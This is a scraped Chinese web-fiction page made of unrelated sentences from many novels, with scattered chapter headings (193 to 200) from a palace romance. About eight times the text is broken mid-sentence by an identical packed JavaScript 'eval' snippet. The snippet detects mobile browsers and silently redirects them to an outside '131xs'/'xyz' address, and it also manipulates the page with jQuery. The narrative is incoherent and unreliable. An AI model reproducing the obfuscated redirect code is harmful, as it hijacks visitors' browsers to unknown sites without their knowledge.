作为一个时间与空间融合的技能时空之光可以说完完全全属于神技的范畴。 这样一来等于 说IG在下半区拥有人数优势,且中路领先一个TP。 出乎所有人意料的是,紫涵并没有发作,就像没事人一样,给自己倒了杯酒。 以及现如今的真武元帅,在天庭也还有另外一个称号——佑圣真君。 苏梦雪这时见到了把陈宁叫出来的时候了,便马上从兜里掏出手机,打给陈宁,以想再见到他为由,叫他现在马上出来。 这样实在是装逼过度,甚至于是虚伪恶心。这不是**的风格,他也干不出这事。 在这位好友的面前,阿尔琉斯根本就不用再装出一幅王者的摸样,接过酒瓶,大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561063|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口大口的喝了起来。 高翼来到一张桌子前低下身子,从里面掏出了一个提包,**,**,**,各种高翼要求的东西都准备好了。但是高翼看了一眼之后便将它们重新塞回了包里,将包放了回去。 “额…等到时候问问不就好了!”老四这个时候也累了,坐在地上静静地等着老大三人回来。 立在阵中的卜已一脸的茫然,那真的是永久吗?只见两军阵前,耀眼的朝阳之下,那一骑大将横枪立马,身披万道霞光,英俊的面庞寒凉如水,眸子里闪现出一丝悲凄,冷冷地看着数万的黄巾军大阵。 钱家三兄弟看到心都碎了,他们这么大,还真没见过老父亲这样低声下气过,眼睛都是酸了。 不过,他们并没有急于进攻,虽然于投马部落向汉人军队反击过几次,可是潘凤他们狠狠地给予了回击。然而,他们并没有追击,而仅仅只是把于投马部落赶走而已。 一旁的红日与红月你看看我,我看看你,谁都不敢出声,跟随主子身边十余年,从未见过主子这样,谁都不知该怎样开口劝主子。 她现在视力不好,没看见在她絮叨时,贺云阳一直望着她,眉头越拧越紧,眼里的疑惑也越来越重。 高翼也趁着这个机会蹿出了房间,可是还没走上两步他便无奈的刹住了车,呆呆的站在门口。 等水烧热了先是拿澡盆打了些热水上来,加了些冷水后看水温正好。 第一卷 第193章 你是喜欢朕的,不管你承不承认 晚余吃惊地看着那个药罐,心怦怦跳了几下,不敢相信祁让会这么轻易遂了她的愿。 祁让白天才说过要她给他生个儿子,晚上就主动把避子汤给她准备好了吗? ‘亲嘴‘两个字被苏流影捂住了,他说的话,苏清并没有听清楚。 安九姑娘这样稳重低调又不失侯府姑娘气派的妆扮更让安太夫人满意。相信像安太夫人一样打算给自己儿子相看的夫人太太们,也会更喜欢安九姑娘,而非是安八姑娘的。 若是能够将浑天手**会的话,那他的战斗力,必然也会因此而上升,日后与人对敌,也是多一些手段。 可怜的教导主任被苏荷手起刀落的一脚给踢中要害,这个时候就素颜是想说话声也说不出来了,不过好在叶开这一脚下去,没有用太多的力气了,不然教导主任估计真的就**了。 “怎么了怎么了?”安然凑在他身边连声问道,眼睛也顺着黄鸿飞的视线往外面的大街看过去。 第七个模特是花仙子,穿着水墨长裙,上面全是盛开的牡丹花,看的观众一愣一愣的,跟仙境奇缘里面公主似的。 当着沈云白的面被自己的哥哥这样反驳,林心怡觉得一定是沈云白唆使的,用力的剐了云白一眼,自顾自的坐上车,不愿意再说话了。 他的一番话,让赵宁宁的心里乐开了花。她一直羡慕梁婧刚毕业就嫁了杰森那么好的男人,现在自己也不差,虽然毕业了有几个月了,但她也找到沈锋这样优质的男人了。 武明旬步很显然动了怒火,他今天一定要给这些华夏人一个狠狠的教训,来日本耀武扬威**i卖老,那就只能被他干掉,稻吉会是除了山口组之外最大的黑帮组织,其势力庞杂,无比之大。 \t第一支羽箭刚射出去,秦风马上从箭壶里拔出两支羽箭,再次张弓搭箭,嗖嗖两声,两箭齐发,流星一般飞奔而去。 他就是不按常理出牌,否则的话,怎么拿捏住这些家伙?他更看重的不是酒吧大厅之中的战斗,而是陈周建以及那些**。 年镇北这个时候其实已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561064|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始后悔了,自己是有点心急了,而且以势压人,有点欺负人。秦风这混蛋是个宁折不弯,吃软不吃硬的性格,你越是压迫他,他的反弹越是强硬,跟自己是一个臭脾气。 胡天明把胡老夫人护在身后,双拳紧握,气势汹汹一副准备开打的架势。固执的三人也拿着菜刀不甘示弱,一切蓄势待发。 宛缨点点头温顺的像只猫乖乖地趴在他怀里,感觉柳辰阳的怀抱异常温暖,没一会儿便睡去。 说来说去,明璎好歹是赫连氏的当家主母,被捉到房州已经很丢脸,倘若再死在大牢里,聂沛潇与赫连氏的梁子就结下了——这只会给聂沛潇的处境雪上加霜。 “那就劳烦哥哥走一趟了。”吕香儿轻轻地长长出了一口气,慢慢靠在了朝霞的身上。 众人没有质疑凤火羽的话的真实性,大家都不是瞎子,方才只是本能反应。也因为这样,所以伸手入怀的那位仁兄现在很尴尬。他是真的动都不敢动,怕会引起什么误会。说自己不是对方的重点照顾对象,他自己都不信。 第一卷 第194章 跟朕回宫吧,别折腾了 可越是这样程金枝心中就越发觉得担心除了担心之外甚至还有些害怕。 对神明而言死亡也不过是一次可以计划的旅行但他们也要面对与人类的死亡类似的某种存在。 叶离很害怕分离只是她的名字里却偏偏有个离字长大后她常常想也许命运是早就注定的所以她没有叫叶聚却偏偏叫了叶离。 对此胡耐只是笑着回应了一句‘裘老鬼你也好意思说我?你干掉多少?’就和那人打闹着入了营盘消失于王五等人眼前。 虽然他本就没抱希望西施能够活到现在但是听到故人逝去的消息心中还是有些微微的伤感。 牛顿和胡克的恩怨在英国广为人知所以哈雷一听到胡克的名字加上这人的身形体貌就推测出了他的身份。 姚长青笑了候耀武跟秦功心坠落到了谷底没多久 金冠飞狐蝙看样子整个都傻了无法想到区区一只蚊子居然能破了它的超强音波。 叶离也瘦了因为一夜一夜的没有觉睡她实在听不了刘天青在卧房里不停翻身的声音和他压抑的喘息她请教了很多医生但是除了帮他热敷之外似乎确实没有更好的法子。 身处大清身处历史洪流之中哪怕是亲王之尊也只能被裹挟向前。 长剑凌空而降击中了沙柱后数百支沙柱立刻轰然坍塌堆积成山岳般的沙丘。 方海玲却是摇头拒绝“我就在外头逛逛若有什么吩咐告诉我一声便是。”说罢拱了拱手便转身大步离开了崔家。 玛比原来进入森域后身上的法力全被禁锢了要不然这头大眼虎怎么可能追着我跑应该是我追着它跑才对。 然而这份宁静在十余年过后还是被打破因为终将有吸血鬼家族的人到来。 秦宜宁知道冰糖家学渊源且他们这般熟悉了她对她一直忠心耿耿她也不会说谎。若是真有伤害当初冰糖也不敢给逄枭用这个药了。 吉尔不知道自己有没有看对也许他目光所向只是一片空气而已。 “这叫角色扮演懂吗我要在牢房里将你俩给……”陈扬眉头跳动着要多猥琐就有多猥琐。 “好可怕的气势!”众人在九天锁天剑阵之下仍是感觉到剑 纹气息的可怕,那种吞噬一切,湮灭一切的气势,令人惊骇。 至今他都难以置信,叶凡竟能破了自己的招式,并且冷不丁地发出了无比致命的攻击。 这“崩云手”和“紫云来”不仅是张博涛夺得天下第一的成名绝技之二,也是他父亲最拿手的武功,如今能从**手里学得父亲的武功,如何不喜? 地上的火人因为大火焚烧痛苦挣扎着,也因为那极其精准莫如胸口的长剑,一剑毙命。 真正的战斗中,从来都是在大脑反应过来之前,身体便开始行动的。 当那个熟悉的身影徐徐从魔法阵中走出的哪一刻,他感觉一切都是值得的。 “好好照顾她,我带来的桂花糕,是她最爱吃的,等她醒来让她吃了,然后立即告诉我。”苍玉的声音柔和平静。 这会儿正好说到百里莫宸带兵出征大成国南部边境的事情,他这个态度,难道是不干了? 江涛没有回答他的话,眼睛瞟了一眼那个山羊胡子,那意思不言而喻。 杰克忽地从座位上坐起来,瞬间跟了上去,他安然地落后林凡身后一步,似乎这是最舒服的姿势,这种走路方式熟练的就像两人已经走过几十年,未来也会这样走一样。 “主公…援兵到了,庞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561065|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德和阎行带着人马来了!”刚出去的吴懿一溜烟又跑回来了。 沐苍王突然慌乱,身高的差距让她的脑袋不得不使劲向后仰着,两只手不知道该放哪里,最终,她轻轻地拽住他的衣襟。 此时司马季身边的晋军已经深入东濊腹地,一旦转变为进攻的姿态,就相当于在东濊的心口上插了一刀。不过司马季并没有马上这么做,他还有事情要做。 “怎么会这样?怎么会这样?”谭兆奇吃惊地看着突然重新激活的阵法喃喃自语。阵法里的情况,他们看得清清楚楚。那些灵兽没有能够冲出来,发而在阵法里自相残杀。 司马季绝对不是从百姓角度上看待问题的,他看百姓的角度一直都没有改变过,百姓就是韭菜,他现在需要百姓出来奉献,只是为了增加自己的实力而已。 阳旭往门口看去,便见一名老者,雪白胡子半米多长,垂在胸前。 今日比武,邓月茹已经交代过三位叔叔不用出面,等到将萧枫绑上了落云寨这辆战车之后,张新、谢晋和吴越三人再出面见一下萧枫,这也是三人直到今日都没有出现过在萧枫眼前的原因。 梼杌的脑袋出现在婆罗萨的头顶,半张的巨嘴流淌出馋液,滴满了后者一脸。 阀分四房,侯永只是长房总管,牛逼哄哄藐视治安司的中将汉斯,汉斯赔笑,竟没半点脾气。 们寻声望去,只见老海勒已立于更高处,四名黑甲扈从在老海勒身后一字排开,气势慑人。 猿虹以魔力揉捏而成的魔山,还没有飞到阳旭跟前呢,便被那一道空间螺旋,全部吸收吞噬进了另外的空间存在。 年轻时,花了大量时间游走在奥斯陆人类国度的尼古拉斯一世是在巧合之下得知了这个情况。 第一卷 第195章 那就一起下地狱吧! 一行人都站在那里,看着哭闹的小女孩默不作声。 小女孩的母亲后知后觉地发现不对,虽然不认识祁让,却认得当地官员身上的官服,吓得连忙拉着啼哭不止的孩子跪下来磕头。 朱一芷朝着殷涟的头看了眼,心想老虎的头也是她能摸的?刚才她感觉自己伸出去的手有点凉。 握着门把想要开门进去,却发现门被反锁了,显然是故意防着她呢。 莫瑄停下来后,没去管异族大汉,而是迅速朝着周童掉下去的地方冲去。 李明宇和林一对视一眼,对于顾暖阳张嘴就来的准确回答皆有些讶异。 大妞现在说的话真叫一个洒脱,那是因为她还没有经历过这样的事情。 “霆少,你说她会不会去?”贺译也想看看天元棋神到底是长了怎样的三头六臂? 莫瑄进了空间不知道地上的大坑,不是一颗雷火珠炸出来的威力,而是周童后面紧接着补了一把炸出来的。 这对于穆清爵来说是最好的结果,他深爱着顾暖阳,正因为爱着她,所以不希望她夹在中间为难,显然她的父母也是这么想的。 虽然没有去学校,但顾暖阳在迎新晚会结束后被当众表白的事情还是不可避免的传到了穆清爵的耳中。 白茵茵在一旁看着他的表情。猛地吞了口唾沫。只希望潇潇别做出什么傻事。 顾锦汐从空间戒指中重新拿出一张桌子,四张椅子,直接在最中间的位置坐了下来。 ∷筱筠听得目瞪口呆。叶璟珩他竟然敢囚禁霍宁?这也太荒唐了吧!倒不是同情霍宁,只是担心他现在的处境。 如此诡异的场景,白如霜也不敢再出手,立刻冲到林枫身旁,与杰森一起护住他。 在嘉玉岛的那天晚上,李嘉玉与段伟祺一起躺在沙滩上,看着夜空中的星星。 此话一出,猩红收割者的表情立刻僵硬起来,那双犀利的眼睛瞬间黯然阴沉。 说实话……以前陈嘉梅没来过这里,见金老四的时候,也是在外面约了个茶馆。 这一周,是属于她的缓冲期,她必须做好充足的准备去应对他们接下来的步骤。 鲁玉娥也落了眼泪瓣,仿佛这一针是扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561066|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了她身上……做母亲的就是这样,孩子就是她们的心尖儿。 为了转移某人的注意力,某人很没节操的将一切都推到程老身上。当然了,这也不算是谎话。 心腹面带微笑,可这微笑却是没有温度的嗜血之笑,仿佛洛枫情下一刻将会被白发老者碾压一般。 随着金吾卫站起身,周围的一些房屋建筑开始倒塌。最先反应过来的还是金火,看看周围,又看了看孙悟空,金火的表情有些哭笑不得。 然而今天,力牛却遇到了对手。力牛几乎是凝聚全身力量的一蹄,直接和霸决的拳头撞上了。 金掌柜的正在筹集资金,筹备组建一支队伍。她在热河接洽上了一些人。吉林一带的熟人也有几个? 因为并不知道这荒庙中供奉的到底是怎样的一个神灵,周灿的心中警惕更是提高了数十倍。 聊着、聊着,梦冰云甚至忘了周灿现在是个孩子,而是把周灿当做了一位名师,她是学子。 这并不是张宝玉多心,而是在张宝玉看来,悟道茶树既然可以生长出带有天地规则的叶子,来帮人悟道。 第一卷 第196章 回宫了,朕的江美人 晚余不知道这人又发什么疯,在他怀里又叫了一声“皇上”。 “‘鬃鼠’,天畴来晚了。”李天畤俯身,伸手想将对方的身体从水田边搬出来,却未料对方的身体沉重之极,双手都未能托起。 在远处看着高宠和三公主吃早餐的任聪、太子,远远听到公主的笑声。 “哈哈,你吓不着我,敢动老子,保管你和你兄弟躺着出去。”王繁也发狠了,细皮嫩肉的脸上尽是阴毒和怨恨的气息。 而罗平恍若未知一般,依旧微闭双目,双手平放于盘曲的双腿之上,全身心的投入修炼之中。 “彻底**么?”有队员开口问黑麒麟,总感觉这堆烂肉里隐藏着极为邪恶和可怕的东西。 ‘影’不好意思再想下去,刚才是什么感觉,只有她亲身体会过。 “告诉我最近村子的位置!”缓缓落在两人身边,邪木云开口问道。 林穆天也从启我三重天突破到了凝丹初期!这个速度让萧岳都咋舌,战龙身体仿佛也可以吸收叶天帝等人注入的那浓郁的元力。 “这……这是怎么回事?”看着周围的景色,赤炎兽有点难以置信,这么高的距离自己不是没有飞行过,怎么会这样呢? 林久瞥了张楚岚一眼,抬起手指着马仙洪的眉间。马仙洪眉头一皱,随着灵魂防护墙破碎,原本的记忆也恢复过来。 他向着食人花所在的位置走去,想要看看食人花在发生了变化之后究竟会变成什么样子。 其实这也算不得秘密,哮哮跟在她身边迟早会知道的,而她也需要哮哮的帮助。 有了这此突破之后,他不仅气力猛涨,这自愈的能力也变便非比寻常。 狗蛋的话音落下之后,那刚刚说话的蛇人在这个时候呵呵一笑,并没有因为狗蛋的话恼怒起来。 她拿来的杏仁酥能够糊弄萧青冥,却在此地被厉南凰三言两语探出了身份。 云曦看着纸袋上的logo,大晚上的还特地让人去酒楼打包晚餐,这是在嫌弃她做的晚餐有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561067|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难吃吗? 梁欣怡得意的笑了笑,一想到蒋衡霖对云紫菱那副体贴关爱的模样,脸上的神色就更嚣张了。 斑难得保持安静,没有开口反驳,悬浮空中严阵以待,两枚永恒万花筒如同风车般滴溜溜转动,密切观察四周包围他的残影。 事到如今,驾车的汉子也只能掉转方向,朝皇宫而去,可嘴上仍旧忍不住要说一说。 刚开始我还能控制住自己,后来就打红了眼,都不知道自己什么时候在他的脖子上抹了一刀子,反正等我缓过神来的时候,他最后一口气儿都没了。 程容简握着电话没有动,过了会儿挂断了电话,拿了外套戴上帽子出去了。 我老实的应声,听着霍毅起身,身上却是像要散架一般,眼皮都撑不开,想和大哥说几句话,脸一歪,没出息的又睡了过去。 我把球球哄睡以后,打开电脑看着曾合作过的那些客户清单,准备趁着十一做一次客户的答谢会,把所有合作商都聚到一起,大家拉近一下关系。 第一卷 第197章 骗子就该和骗子在一起 但不管如何,这都是希望,他也准备实话实说,当然,涉及到千羽秘宝,决不泄露。 但是,胡斌知道,露丝今天需要好好的休息,自己就不能打扰她了。 他和气地看着永和县主,只见她圆圆的脸,估计还不到二十岁,但嫁了好几年,已是当母亲的人。 江风的意思也很简单,虽然咱搞了窦燕生一家伙,但主要也就是给他点教训提个醒儿罢了,倒是没打算把他咋样儿,反倒是如果王建要是主动生事儿的话,可能会牵连到到窦燕生。 媒体很清楚马斯基暗中所致的其他国家除了苏联还会是谁,现在伊拉克战争已经结束了,和平协议也签了,就连军队也退回来了,美国可能做的让步都做了,也是得到好处的苏联旅行自己承诺的时候了。 王梓钧一直保持着警惕,就在那士兵刚刚动手时,他已经抢先行动了。身子一偏闪过**,王梓钧转身一拳闷在对方的肚子上,直接把那士兵打得弯腰缩腹,痛得瞬间失语,连喊都喊不出来。 **,不就是抢两个演员吗?居然连**都搞出来了。这里可是台。湾,不是香港,一般人敢玩**吗? 这回跟着他到河北道的蔡宾便是蔡家的亲戚,以前是跟着蔡翁在生意买卖上出谋划策的人,还是一副商贾的头脑,所以就算他说得危言耸听,张五郎还是很淡定,打心眼里不怎么瞧得起蔡宾的见识。 中岛美雪穿着一身现代摩登装束,手里拿的却是一把曰式折扇,背上还背着一把油纸伞。在此之前,她出场都是一身红色和服,原型是王梓钧参考的不知火舞,直到最终决战才变成姓感的现代丽人。 马多斯喘着粗气,疲劳却又欣喜的看着地上的残渣,无声的笑着。 他不追问,耐性地等待着,任由她看着,那琉璃一双透彻而灵动的双眸里,满是他不太明白的神色。 夜晚,在月光之下寂静的黄泉森林中突然出现了一阵阵粗重的喘气声。 我就回神秘人的短信,短信内容是:神秘人怎么你不告诉你的名字给我听,难道我认识你吗?还有为什么你的手机号码打不通的呢? “姐姐,姐姐,你不用去浣衣局受苦啦。 第一节便记载了“移花接木的方法。冷月看过嗤笑一下,记在心中后就不去理它。 “解决了?几人都异口同声 的问着,没有一个不惊讶的,这几人,一个要一周解决的,一个说三天,一个说一天,这个雷恩居然一个电话,已经解决了? 二十四日,在方天的指挥下,方天的军队对叶辰飞驻守的城池展开了激烈的攻城战。 “今天天气真好!”这句口头禅是沐悠涵跟欧阳鹏程学的,什么场合都适用得很,自己这位闺蜜加同事惹祸的本领和欧阳鹏程家里的那位差不了多少,不过她对欧阳鹏程的能力有着极大的信心。 一向爱说爱笑不知忧愁的曼妮说这番话的时候,居然泪光涟涟,这让李龙飞看着更加揪心了。 抬头扫了一眼空中飞行的皮球,心中算准了皮球落入自己可以操作的时间,在自己内心卡这秒,伊万侧身、立足、摆腿一气呵成,用尽自己全身力量,将德布劳内从远端踢过来的皮球,凌空抽向对方球门。 当然了,华飞扬也不是这样容易认输的,要别这一口气要在最后擂台上,用真正的实力来打败上官紫郁和欧阳傲雪,让众人看看,他才是真正的实力最强之人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561068|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “倒是没有想到,堂堂六皇子愿意给人低头道歉,既然是这样的话,那我就接受你的道歉好了,现在可以让开了吧?我要回去了。”墨潇是一分钟,都不愿意多和乔非逸相处。 托尼克洛斯这脚长传精准度毋庸置疑,照理说已经起速的罗本将一往无前,切尔西难以阻挡。 前世那会,她被这喻将军虐到不行,形成了心里阴影,一见他就哆嗦。 抓了几个空弹匣又抓了几盒**,放在折叠式桌板上,黄明宝就默不作声的压起了**。 毕竟公主成婚需要得到皇上的首肯,希望北冥颜能有办法说动北冥筠。 比如,那大尾巴狼的身高很高,体型也挺壮硕,跟付望舒的体型符合。 “张晓然说得没错,你们教官的确是有点笑面虎的样子。”林夏很诚恳的说。 何况很多母北风树都是有着大量种子的,这次李飞准备全部带回去,他们自己弄个种植基地。 而且,即使,将来司律痕他有这个机会,但是司律痕的内心还是知道的,她一定会拒绝。 据说非常喝牛奶的人皮肤比较白嫩,还能帮助身体发育,现在的孟静仪很有必要多喝,不是说吃哪补哪吗? “不是,妈,医生刚才说,如果想要洋洋彻底的摆脱病魔,就必须得做个手术。”权少辰知道权夫人的眼睛比谁都亮。 而男子的前八强中,有三名俄罗斯人,两名日本人,一名中国人,一名韩国人,和一名菲律宾人。 连charles自己都不知道为什么,不管多少次,每次当他看到erik为婚礼如此紧张的样子,他觉得这个中年男人可爱的同时,自己也会情不自禁地露出微笑,非常灿烂的那种。 第一卷 第198章 死罪可免,活罪难逃 晚余没想到祁让居然会夜夜守着一具尸体入睡,她不觉得深情,只觉得恐怖。 老夫人年迈,吃不了太多东西,各种都尝了几口,便已经满足了。 却说黄淮离了纪氏别府,顺着长街向着三家胡同方向走去,脑海之中却是回想着不久前在纪氏别府之中所看到的纪阳请神入体之时的种种异象。 抬手一挥,一枚绽放着强大药力的药丸,慢慢的飞到夏梦瑶身边。 那一尊关圣帝君神像所蕴含的香火愿力之多别说是花费五百万,黄淮觉得就是翻上一倍他也会毫不犹豫的掏钱请回去。 根据自己对父亲的了解,他在很多方面,都老实本分的很,压根不像做出这种事情的人。 卓影帝拿到了任务卡,就直接公布了,鱼慕慕伸长了脖子看过去,竟然是【扮演即将倒闭的咖啡店店主】。 一直守在那的暗二又说里面发生了一些事情,谢泠玉似乎被陷害,他又抓了个鬼祟的男人。 他喊来了航空乘务员,说了几句话,对方也第一时间去处理这件事情,但是效果并不理想。 唐人街,火龙帮总部的别墅,四周已经极为的安静,没有一点的灯光亮起,十多道黑色的身影,在夜色之中急掠过来,传出一阵阵的风声,随后,缓缓的落在了别墅的门口。 她一直瞧不起紫萱除了出身及弃fu之外她不把紫萱这位郡主放在眼中的原因就是她认定紫萱是想嫁给她儿子的就算封诰比她高又如何以后她也是紫萱正经的婆母紫萱也要仰她鼻息过活。 不过,陈枫到能理解一点,至少,黑莲可以成为一个男人!个内涵就无需多说了。 “让开!”大汉发生一声暴喝,手中**再次轮动了起来,黑色的**就如同出深渊的魔龙一样,恐怖的魔啸声让所有人脸色大变,这人的强大的不可思议,几乎已经超脱了“人”的范畴。 计凯谨慎的戒备着周围的一切,此时的他,防卫力量可谓是低到了极限,如果不是为了实时掌控战局做出应对的话,他早就进入空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561069|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间里避难去了。 “嘿嘿,兵符我不拿,你自去调一位将军来领兵!不过,除了谋乱。万事都要听我安排,兵权在他,调度权在我!”你信我,我就拼力帮你一把又如何!管铮心里有了决定。 这种人物要是出现在游戏里,肯定就是BUG级的存在,如果不用金手指,该怎么打呢? “还请神医施展妙手,无论如何要将我这妹子给救回來。”管铮双膝轰然跪倒,冲华佗央求道。 当年的龙凌,在不动用神秘力量之下,方才是一位气尊强者,而如今,竟然一跃成为强大的气圣强者,这究竟是怎么回事?龙凌究竟怎么修炼的? “不错,我认为我们也该准备一些无线电。顺便,准备一些其他适用于野外的东西。因为过了这个村子,我们将会在丛林行走大约五天的路程。在这段路程中,我们有必要准备好充足的物资。”**啸说。 因为他怕自己此刻的样子会吓坏雨蝶的,所以在他没有变回原来样子前,最好雨蝶不要醒来了。 第一卷 第199章 你乖乖的,想要什么朕都给你 云雨初歇,晚余软着身子躺在祁让怀里,额头鼻尖都是细密的汗珠,双眼迷蒙仿佛下一刻就要昏睡过去。 两军相遇之后,刘云威先是下令全军将士就地扎营暂作休整,然后将温破虏、王敢当、赵开山、吴兴、李天昊、高宏光等人全都叫到了中军大帐紧急议事。 只有在最后服软的那一刻,才‘有幸’一睹这恶心**不偿命的混蛋本尊。 与此同时,梦生香找到墨兰,说姜卓方给她爸解毒,始终无以为谢,因此给了这个账号,她知道姜卓方有办法。墨兰处理类似的事情,向来都是模棱两可,既不说要,也不说不要。 如果说NPC能够克守己心,严守底线的话,那么玩家就正好代表了另一个极端,为了赢得胜利,他们不惜一切代价,也不在乎一切规则。 还在调养着玉灵,一听父亲说的话,也才放下一点心,但还是那“忐忑不安”一种的状态。毕竟回到阳间后,是危险并没解除,也只能相信那“陈玄一”。 林枫一连气吃了三十多颗,吃完之后,林枫立刻盘膝坐在地上,身上开始闪烁着金光。 法坛的下面,着急的张三,看到法坛上,摆放的东西,砸向雪狐妖,全都没有用,两眼的眼神,已经很愤怒,想爬上法坛,阻止雪狐妖。 然而,明白与领悟却是两层概念,就算是正处在战宗境的高手,也不是一朝一夕能达到狄煜如今的实力的。 白舒一直默默的倾听着,终于弄清楚了事情的原委,白舒忽然想到,如果当年白访云没有死,并且成功踏入了天启的大门,那么就算是华帝,他敢杀白访云的妹夫么? 元影没想到的是,姜卓方不仅没有中五灵散之毒,在中了白玉镖之后,居然还能打出沉重的掌力,她的魂使樱木久美子因此受了重伤。 这人类也十分得意,指了指头顶,“那些人带我去的。”然后又把魔族皇族血脉觉醒的事情说了一遍。 黑土族驻地前方的障碍瞬间消失,几个守门的倒霉蛋也被炸的支离破碎。 李健注意到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561070|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一点,旁边的几人同样也注意到了这一点,心中对于赵牧也是暗自点头。 “哥哥,前面那个是什么?”茈兰用玉手轻指,林鸣不禁哑然失笑。 沈无双惊骇,在剑法上,他更加的不是石的对手。而且石的攻击并不只是剑法,而是连拳法都在不时的施展着,石每一拳砸在沈无双的厚实盾牌上都让他感受到强大的震荡之力,这让他很是憋屈。 嘭!一声气爆声响,这一次是石的那一道金色剑罡被摧枯拉朽的击溃了。 “该死的,这是什么鬼地方!”此时,财通天骂咧咧的说道。第一次碰到这种鬼地方,身后,无穷无尽的庚金之草和树枝疯狂追杀着他们。 轰隆,空间又被炸成了粉碎,而受到秦燕寒冰的影响,下面的战场上,空间依旧是破碎状态,而且地面上已经是飞沙走石,烟尘四起,俨然已经变成了沙尘暴。 没有想到的,是第一次正式搭讪,就这样失败,林沧海低头扫了眼自己的白色运动服,亏他还穿了一套这么帅气衣服。 第一卷 第200章 不爱江山爱美人的昏君 康嫔气得满脸通红,差点一口气上不来憋死过去。 西配殿的几个宫女太监都低着头抿着嘴笑。 宁龙盘腿打坐,脸上众多的汗珠流下,宁龙的眉头紧锁,似乎要被心魔所攻入。 这个世界已经没有打得过蓝爸爸的人,如果有,那也就一个罢了。 等苏年尝够了她的味道,离开她的唇,苏欣烟二话没说,兜头给了他一巴掌。 